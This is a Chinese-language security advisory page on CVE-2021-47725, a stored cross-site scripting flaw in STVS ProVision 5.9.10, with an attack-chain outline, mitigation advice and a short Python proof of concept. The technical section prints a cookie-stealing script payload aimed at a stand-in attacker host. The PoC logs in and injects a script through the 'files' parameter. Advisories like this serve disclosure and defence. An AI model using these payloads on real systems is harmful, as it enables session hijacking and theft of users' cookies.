IPBUF安全漏洞报告
English
CVE-2021-47725 CVSS 5.4 中危

CVE-2021-47725 STVS ProVision跨站脚本漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2021-47725
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
STVS ProVision 5.9.10

相关标签

CVE-2021-47725跨站脚本XSSSTVS ProVision存储型XSS认证用户漏洞Web应用安全

漏洞概述

CVE-2021-47725是STVS ProVision 5.9.10版本中发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于'files' POST参数中,允许经过认证的低权限攻击者注入任意HTML代码或JavaScript脚本。由于应用程序未能对用户输入进行充分的验证和过滤,恶意代码会被存储在服务器端,当其他用户访问受影响的页面时,嵌入的恶意脚本会在其浏览器上下文中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击或修改页面内容,对应用程序的安全性造成严重威胁。CVSS 3.1评分为5.4(中等严重程度),攻击向量为网络,复杂度低,但需要低权限用户身份认证和用户交互才能成功利用。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)漏洞,攻击原理如下:1)攻击者以低权限用户身份登录STVS ProVision系统;2)攻击者在'files' POST参数中注入恶意JavaScript代码或HTML标签;3)由于应用程序未对输入进行适当的输出编码或输入验证,恶意代码被存储在数据库或服务器端;4)当其他合法用户访问包含该恶意内容的页面时,浏览器会解析并执行注入的脚本代码。攻击者通常会构造窃取Cookie或会话令牌的payload,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。由于该漏洞需要认证才能利用,攻击者首先需要获取有效的用户凭证。成功利用后,攻击者可以在受害者浏览器中执行任意客户端代码,潜在后果包括会话劫持、敏感信息泄露和进一步的横向移动。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为STVS ProVision 5.9.10,确认登录端点和文件上传功能入口
STEP 2
Initial Access
攻击者通过社工、凭证填充或其他方式获取系统低权限用户账户
STEP 3
Payload Injection
使用低权限账户登录系统,在'files' POST参数中注入恶意XSS payload
STEP 4
Persistence
恶意脚本代码被存储在服务器端数据库或文件系统中,持久化存在
STEP 5
Social Engineering
攻击者诱骗目标用户访问包含恶意代码的页面
STEP 6
Execution
受害者浏览器解析页面时执行注入的JavaScript代码
STEP 7
Impact
攻击者窃取受害者Cookie/会话令牌、劫持账户或执行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47725 PoC - STVS ProVision XSS via files parameter # Target: STVS ProVision 5.9.10 # Vulnerability: Stored XSS in 'files' POST parameter TARGET_URL = "http://target.com/stvs-provision" LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/files/upload" USERNAME = "attacker" PASSWORD = "password" XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def login(session): """Authenticate with low-privilege account""" data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(LOGIN_URL, data=data) return response.status_code == 200 def exploit(session): """Inject XSS payload via files POST parameter""" data = { 'files': XSS_PAYLOAD, 'action': 'upload' } response = session.post(UPLOAD_URL, data=data) return response.status_code == 200 def main(): session = requests.Session() if login(session): print("[+] Login successful") if exploit(session): print("[+] XSS payload injected successfully") print("[*] Payload will execute when victim visits the page") else: print("[-] Exploitation failed") else: print("[-] Login failed") if __name__ == "__main__": main()

影响范围

STVS ProVision 5.9.10

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)禁用或限制'files'参数相关功能的访问权限;2)部署Web应用防火墙规则过滤<script>标签和JavaScript事件处理器;3)对所有用户输入实施严格的输入验证;4)启用内容安全策略(CSP)限制脚本执行;5)监控和审计所有文件上传操作日志;6)考虑暂时关闭受影响的模块直到官方修复发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表